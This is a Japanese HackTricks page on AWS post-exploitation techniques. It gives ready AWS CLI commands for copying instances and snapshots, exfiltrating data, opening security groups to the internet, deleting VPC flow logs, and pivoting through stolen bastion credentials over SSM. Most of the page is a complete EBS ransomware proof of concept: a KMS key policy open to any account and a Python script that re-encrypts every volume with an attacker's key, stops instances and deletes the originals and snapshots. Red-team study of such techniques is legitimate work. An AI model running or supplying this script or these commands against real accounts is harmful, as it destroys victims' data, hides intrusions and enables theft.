AWS - EC2, EBS, SSM & VPC ポストエクスプロイト

Reading time: 19 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

EC2 & VPC

詳細については、以下を確認してください:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

悪意のあるVPCミラー - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPCトラフィックミラーリングは、VPC内のEC2インスタンスのインバウンドおよびアウトバウンドトラフィックを複製し、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。
攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:

詳細については、このページを確認してください:

AWS - Malicious VPC Mirror

実行中のインスタンスのコピー

インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります(EC2特権昇格トリックを確認してください)。ただし、含まれている内容を確認する別の方法は、AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)

shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBSスナップショットダンプ

スナップショットはボリュームのバックアップであり、通常は機密情報を含むため、これを確認することでこの情報が明らかになる可能性があります。
スナップショットのないボリュームを見つけた場合は、スナップショットを作成して次のアクションを実行するか、単にアカウント内のインスタンスにマウントすることができます:

AWS - EBS Snapshot Dump

データの流出

DNS流出

EC2をロックダウンしてトラフィックが外に出られないようにしても、DNS経由で流出する可能性があります。

  • VPCフローログはこれを記録しません
  • AWS DNSログにアクセスできません。
  • 次のコマンドで "enableDnsSupport" を false に設定することで無効にします:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

APIコールによる流出

攻撃者は、自身が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログで流出したデータを見ることができます。

オープンセキュリティグループ

このようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得ることができます:

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

EC2インスタンスを実行し、ECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。

For more information check this.

Remove VPC flow logs

bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM ポートフォワーディング

必要な権限:

  • ssm:StartSession

コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。この機能が役立つシナリオの一つは、Bastion Host からプライベートEKSクラスターへのピボットです。

セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. マシンにSessionManagerPluginをインストールします
  2. 次のコマンドを使用してBastion EC2にログインします:
shell
aws ssm start-session --target "$INSTANCE_ID"
  1. AWS EC2 環境での SSRF の悪用 スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します
  2. 資格情報を $HOME/.aws/credentials ファイルに [bastion-ec2] プロファイルとして自分のマシンに転送します
  3. Bastion EC2 として EKS にログインします:
shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. $HOME/.kube/config ファイルの server フィールドを https://localhost に更新します
  2. 次のように SSM トンネルを作成します:
shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. kubectlツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベートEKSクラスターにアクセスできます:
shell
kubectl get pods --insecure-skip-tls-verify

SSL接続は、--insecure-skip-tls-verifyフラグ(またはK8s監査ツールでの同等のもの)を設定しない限り失敗します。トラフィックが安全なAWS SSMトンネルを通じてトンネリングされているため、MitM攻撃からは安全です。

最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。

Share AMI

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

公共およびプライベート AMI での機密情報の検索

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel は 公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。

EBS スナップショットの共有

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが非常に簡単であることから、Ransomware Management Service(RMS)に改名されるべきです。

まず、'attacker' AWSアカウントからKMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は'AttackSim'で、すべてのアクセスを許可するポリシールールは'Outside Encryption'と呼ばれています。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるようにするために、次の設定が必要です。

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高権限の AWS アカウントが侵害されていると仮定しています。

Pasted image 20231231172655 Pasted image 20231231172734

S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 Pasted image 20231231173130

これにより、アカウントに残るのは暗号化された EBS ボリュームのみとなります。

Pasted image 20231231173338

また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の暗号化されていないボリュームは現在存在しません。

Pasted image 20231231173931

次に、「攻撃者」アカウントのキー ポリシーに戻り、キー ポリシーから「外部暗号化」ポリシー ルールを削除します。

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

しばらく待って、新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。

Pasted image 20231231174131 Pasted image 20231231174258

しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、単に失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。

Pasted image 20231231174322 Pasted image 20231231174352

これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする